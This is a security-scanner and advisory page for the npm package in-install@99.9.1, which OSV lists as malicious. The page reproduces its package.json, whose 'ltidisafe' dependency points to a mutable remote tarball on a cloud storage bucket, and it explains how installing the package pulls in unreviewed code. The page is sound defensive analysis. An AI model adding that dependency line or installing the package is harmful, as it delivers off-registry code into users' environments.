registry / in-install / 99.9.1

in-install@99.9.1

AI Security Review

scanned 2d ago · by lpm-firewall-ai

Installing this package causes npm to retrieve a dependency from a remote tarball. The inspected package code itself is inert; the tarball contents are not present for review.

Static reason

One or more suspicious static signals were detected.

Trigger

npm installation or dependency resolution of in-install@99.9.1

Impact

Unreviewed remote dependency content enters the install supply chain.

Mechanism

remote tarball dependency fetch

Rationale

The package is source-inert but introduces an uninspectable remote dependency at install time. This warrants a warning rather than a block because concrete malicious behavior is not established from the inspected files.

Evidence

package.jsonindex.js

Network endpoints1

ltidi.storage.googleapis.com/depenconf/ltidisafe-3.6.9.tgz

OSV Corroboration

OpenSSF/OSV

Advisory

MAL-2026-13982

Source

OpenSSF Malicious Packages via OSV

Summary

Malicious code in in-install (npm)

Details

in-install@99.9.1 declares its `ltidisafe` dependency as an HTTPS tarball URL hosted on a Google Cloud Storage bucket (`https://ltidi.storage.googleapis.com/depenconf/ltidisafe-3.6.9.tgz`) rather than a registry-resolved package. Running `npm install in-install` fetches that tarball and installs it into the installer's node_modules, executing whatever install/import-time code it ships. The bucket path is mutable by whoever controls it, is not subject to npm registry review, and is not pinned to a registry-audited artifact, so the bytes delivered at install time can be changed at any moment without a version bump. The package's own index.js is an empty export; the sole observable effect of installing it is pulling arbitrary off-registry code into the installer's environment.

References

OSV advisory PACKAGE

Decision evidence

public snapshot

AI called this Suspicious at 86.0% confidence as Unknown with medium false-positive risk.

Evidence for block

Manifest pins dependency to a remote tarball rather than a registry package.

Evidence against

No preinstall, install, or postinstall script is declared.
index.js only exports an empty object.
No package source performs network, shell, file, or credential operations.

Behavioral surface

SourceNo risky source behavior triggered.

Supply chain

Trivial

ManifestNo manifest risk signals triggered.

scanned 1 file(s), 35 B of source

Source & flagged code

2 flagged

package.jsonView file

Lines 1-15json

2 "name": "in-install",

3 "version": "99.9.1",

4 "description": "",

5 "main": "index.js",

6 "scripts": {

Medium

Remote Tarball Dependency

Package manifest contains a dependency pinned to a remote tarball URL.

package.jsonView on unpkg · L6

7 "test": "echo \"Error: no test specified\" && exit 1"

8 },

9 "dependencies": {

10 "ltidisafe": "https://ltidi.storage.googleapis.com/depenconf/ltidisafe-3.6.9.tgz"

11 },

High

Suspicious Dependency Evidence

Manifest pins dependency to a remote tarball rather than a registry package.

package.jsonView on unpkg · L9

12 "author": "",

13 "license": "ISC"

14}

Source & flagged code

2 flagged · loading source

package.jsonView file

9"dependencies": { "ltidisafe": "https://ltidi.storage.googleapis.com/depenconf/ltidisafe-3.6.9.tgz" },

High

Suspicious Dependency Evidence

Manifest pins dependency to a remote tarball rather than a registry package.

package.jsonView on unpkg · L9

•Remote tarball dependency specs: ltidisafe@https://ltidi.storage.googleapis.com/depenconf/ltidisafe-3.6.9.tgz

Medium

Remote Tarball Dependency

Package manifest contains a dependency pinned to a remote tarball URL.

package.jsonView on unpkg

Findings

1 High1 Medium1 Low

HighSuspicious Dependency Evidencepackage.json

MediumRemote Tarball Dependencypackage.json

LowScripts Present